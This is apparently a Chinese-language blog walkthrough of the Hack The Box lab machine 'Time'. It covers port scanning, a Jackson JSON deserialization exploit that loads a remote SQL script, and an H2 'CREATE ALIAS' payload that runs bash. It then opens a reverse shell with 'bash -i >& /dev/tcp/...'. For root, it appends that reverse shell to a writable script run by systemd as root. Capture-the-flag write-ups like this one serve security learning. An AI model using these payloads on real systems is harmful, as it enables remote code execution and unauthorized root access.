【Hack The Box】linux练习-- time
🔥系列专栏:Hack The Box
 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
 📆首发时间:🌴2022年11月24日🌴
 🍭作者水平很有限,如果发现错误,还望告知,感谢!

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 是一个js美化的
 只有一个框可以输入js代码
 
 也就只是给你改成次行风格
另一种模式尝试一下
 发现报错了

alidation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
所以后端使用 Java 来验证 JSON,特别是Jackson
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.29/test.sql'"}]
这是利用了 JSON 反序列化漏洞。 在这个概念验证中,他们使用的是 H2 数据库驱动程序(在大多数使用数据库的 Java 部署中应该存在,这是最多的)。 该驱动程序可以运行一个 SQL 脚本,该脚本通常用于支持数据库迁移。

 确实有效
 接下来就要只做一个恶意sql文件
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('ping -c 1 10.10.14.29')

 接收到了ping
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"')

下一步就是提权了,我将上传linpeas.sh并且还有pxpy,来分析进程以及一些二进制文件
 
 /usr/bin/timer_backup.sh
 /tmp/hsperfdata_pericles/5951
该计时器上次运行是在四秒前,将在五秒后再次运行。 在 HTB 机器上,任何少于五分钟的计时器都值得一看。
  看到存在一个计划任务
看到存在一个计划任务
 我将寻找一下这个文件在哪里
find /etc/systemd/ -name timer_backup.service
得到结果
/etc/systemd/system/timer_backup.service
查看一下
cat /etc/systemd/system/timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
它只是重新启动另一个服务, web_backup.service

 并且是root运行
寻找一下他重启的服务
find /etc/systemd/ -name web_backup.service
  也是root运行
也是root运行
查看一下
[Unit]
Description=Creates backups of the website[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
他调用了/usr/bin/timer_backup.sh
 这个脚本对我们是可写的
这个脚本对我们是可写的
 那就没啥说的了
echo -e '\nbash -i >& /dev/tcp/10.10.14.8/443 0>&1' >> /usr/bin/timer_backup.sh
两个>>添加到最后一行